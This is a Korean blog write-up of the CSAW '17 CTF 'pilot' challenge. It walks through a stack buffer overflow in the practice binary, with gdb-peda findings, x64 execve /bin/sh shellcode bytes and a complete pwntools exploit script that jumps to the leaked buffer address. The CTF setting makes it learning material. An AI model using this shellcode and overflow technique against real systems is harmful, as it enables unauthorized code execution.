[CSAW '17 CTF] pilot
2018. 4. 30. 22:54
ctf에 직접 참여해서 푼건 아니고... 나중에 pilot이란 파일만 가지고 문제를 풀었다.
처음해보는 pwn문제라 좀 해멨다. 64bit환경에서 x86(32bit) Shellcode를 가지고 했으니...
또 이번에 문제풀면서 처음으로 파이썬 라이브러리 pwntools랑 gdb-peda를 사용해보았다.
덕분에 여러가지로 공부가 많이 된듯하다. 나중에 실제로 ctf에서 pwn문제 풀면 매우 유용하게 사용할듯.
문제로 들어가자
저렇게 나온다.
Location을 주는데, 저게 중요할것 같다.
gdb-peda로 실행해서 "A"*32 + "B"*8 + "C"*4를 입력하면 아래와 같이 나온다.
RBP가 "BBBB"로 덮이고, RIP는 0x7f0a43434343으로 "CCCC\n"이 덮혀진것을 볼 수 있다.
buf는 "A"*32로 채워져있을 것이므로, 이곳에 shellcode를 넣고 이 곳의 주소로 jump하면 될 것 같다.
참고로 NX는 걸려있지않다.
사용 Shellcode x64 execve
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | from pwn import * p = process("./pilot") print(p.recvuntil("Location:")) buf = p.recvline(False).strip() shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" print("ShellcodeLen : " + str(len(shellcode))) payload = shellcode + "A"*(40-len(shellcode))+p64(int(buf,16))#p32(buf2)+p32(buf1) p.sendline(payload) sleep(1) p.interactive() | cs |
굿
'Write-up > Pwnable' 카테고리의 다른 글
[34C3 CTF 2017] readme_revenge (0) | 2018.07.02 |
---|---|
[Byte Bandits CTF] Tale of a Twisted Mind (0) | 2018.06.02 |
[DefCon 2015] r0pbaby 를 magic gadget으로 풀어보기 (0) | 2018.05.28 |
[Plaid CTF 2018] shop python solve code 2 (0) | 2018.05.22 |
[Plaid CTF 2018] shop python solve code 1 (0) | 2018.05.22 |